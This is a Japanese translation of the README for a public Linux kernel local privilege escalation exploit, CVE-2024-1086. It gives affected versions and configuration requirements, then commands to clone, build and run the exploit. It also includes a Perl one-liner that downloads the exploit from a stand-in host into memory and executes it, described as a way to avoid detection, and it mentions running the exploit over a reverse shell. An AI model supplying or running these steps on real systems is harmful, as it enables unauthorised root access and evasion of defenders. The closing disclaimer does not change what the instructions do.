
汎用ローカル権限昇格 Proof-of-Concept エクスプロイト CVE-2024-1086 は、v5.14 から v6.6 までのほとんどの Linux カーネル(Debian、Ubuntu、KernelCTF を含む)で動作します。KernelCTF イメージでの成功率は 99.4% です。
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
エクスプロイトの完全な解説(背景情報や多数の便利な図を含む)は、Flipping Pages ブログ記事 でご覧いただけます。
このエクスプロイトは、v5.14(含む)から v6.6(含む)までのバージョンに影響します。ただし、パッチが適用されたブランチ v5.15.149>、v6.1.76>、v6.6.15> は除きます。これらのバージョンに対するパッチは 2024 年 2 月にリリースされました。根本的な脆弱性は、v3.15 から v6.8-rc1 までのすべてのバージョン(パッチ適用済みの安定ブランチを除く)に影響します。
注意事項:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y の kconfig 設定を持つ v6.4> カーネル(Ubuntu v6.5 を含む)では動作しません。CONFIG_USER_NS=y)が必要であり、それらのユーザ名前空間が非特権であること(sh コマンド sysctl kernel.unprivileged_userns_clone = 1)、および nf_tables が有効であること(kconfig CONFIG_NF_TABLES=y)が必要です。デフォルトでは、これらはすべて Debian、Ubuntu、KernelCTF で有効になっています。他のディストリビューションはテストされていませんが、同様に動作する可能性があります。また、このエクスプロイトは x64/amd64 でのみテストされています。デフォルト値は、ローカルシェルを使用する Debian、Ubuntu、KernelCTF でそのまま動作するはずです。テストされていないセットアップ/ディストリビューションでは、kconfig の値がターゲットカーネルと一致していることを確認してください。これらは src/config.h で指定できます。32GiB を超える物理メモリを搭載したマシンでエクスプロイトを実行する場合は、CONFIG_PHYS_MEM を増やしてください。
SSH(テストマシンへの)またはリバースシェル経由でエクスプロイトを実行する場合は、CONFIG_REDIRECT_LOG を 1 に切り替えて、不要なネットワークアクティビティを回避することをお勧めします。
これが不便な場合は、デフォルト設定のコンパイル済み x64 バイナリがあります。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
バイナリ: CVE-2024-1086/exploit
エクスプロイトの実行も同様に簡単です:
./exploit
ファイルレス実行もサポートされています。検出を回避する必要があるペンテスト状況に備えています。ただし、ターゲットに Perl がインストールされている必要があります:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
このソフトウェアディレクトリ/フォルダ/リポジトリ(「リポジトリ」)内のプログラムおよびスクリプト(「プログラム」)は、教育/研究目的のみで公開、開発、配布されています。私(「作成者」)は、このリポジトリ内のプログラムの悪意のある使用や違法な使用を一切容認しません。その意図は研究の共有であり、それを使った違法行為ではありません。このリポジトリのプログラムを使ってあなたが行うことに対して、私は法的責任を負いません。